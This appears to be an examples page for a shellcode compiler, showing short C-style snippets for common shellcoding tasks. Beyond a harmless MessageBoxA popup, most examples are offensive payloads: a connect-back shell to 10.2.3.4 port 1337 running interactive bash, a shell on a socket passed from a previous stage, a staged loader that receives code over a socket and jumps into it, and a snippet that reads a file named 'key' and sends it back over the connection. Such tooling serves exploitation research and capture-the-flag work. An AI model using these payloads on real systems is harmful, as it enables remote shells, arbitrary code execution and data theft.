83 lines
2.3 KiB
Plaintext
83 lines
2.3 KiB
Plaintext
|
Shellcode Compiler Examples
|
||
|
===========================
|
||
|
:toc:
|
||
|
|
||
|
The following are short examples of how to use the Shellcode Compiler to solve
|
||
|
common shellcoding tasks.
|
||
|
|
||
|
Resolve and call Windows functions
|
||
|
----------------------------------
|
||
|
SCC supports the ability to dynamically resolve and call windows functions for
|
||
|
you with the right syntax. The following simple example is a popup displaying
|
||
|
hello world using MessageBoxA.
|
||
|
|
||
|
---------------------------------------
|
||
|
int __stdcall MessageBoxA(HANDLE hwnd, const char* msg, const char* title, uint32_t flags) __import("user32");
|
||
|
|
||
|
int main()
|
||
|
{
|
||
|
MessageBoxA(NULL, "Hello", "Hello World.", 0);
|
||
|
return 0;
|
||
|
}
|
||
|
---------------------------------------
|
||
|
|
||
|
Connect-back Shell
|
||
|
------------------
|
||
|
The following code will connect to 10.2.3.4 on port 1337 with an interactive
|
||
|
bash session.
|
||
|
|
||
|
---------------------------------------
|
||
|
void main()
|
||
|
{
|
||
|
int s = create_tcp4_connection(IPV4_ADDR(10, 2, 3, 4), 1337);
|
||
|
redirect_io(s);
|
||
|
interactive_bash();
|
||
|
}
|
||
|
---------------------------------------
|
||
|
|
||
|
Passing socket descriptor from previous stage
|
||
|
---------------------------------------------
|
||
|
The main() function can take arguments, which are to be passed on the stack from
|
||
|
right to left (C calling convention). When you transition to this shellcode, use
|
||
|
a standard call instruction with the socket pushed onto the stack.
|
||
|
|
||
|
---------------------------------------
|
||
|
void main(int sock)
|
||
|
{
|
||
|
redirect_io(sock);
|
||
|
interactive_bash();
|
||
|
}
|
||
|
---------------------------------------
|
||
|
|
||
|
Staged shellcode
|
||
|
----------------
|
||
|
You can use the computed goto syntax to transition to a new, larger shellcode buffer.
|
||
|
The following example allocates a new buffer on the heap for shellcode of an arbitrary size.
|
||
|
|
||
|
---------------------------------------
|
||
|
void main(int sock)
|
||
|
{
|
||
|
int len;
|
||
|
recv(sock, &len, 4, 0);
|
||
|
|
||
|
void* code = malloc(len);
|
||
|
recv_all(sock, code, len, 0);
|
||
|
goto *code;
|
||
|
}
|
||
|
---------------------------------------
|
||
|
|
||
|
Read a file
|
||
|
-----------
|
||
|
The following shellcode reads a small file called `key` and sends it back over file
|
||
|
descriptor 4, which is typically the incoming connection on a forking server.
|
||
|
|
||
|
---------------------------------------
|
||
|
void main()
|
||
|
{
|
||
|
char data[64];
|
||
|
int fd = open("key", O_RDONLY, 0);
|
||
|
int len = read(fd, data, 64);
|
||
|
write(4, data, len);
|
||
|
}
|
||
|
---------------------------------------
|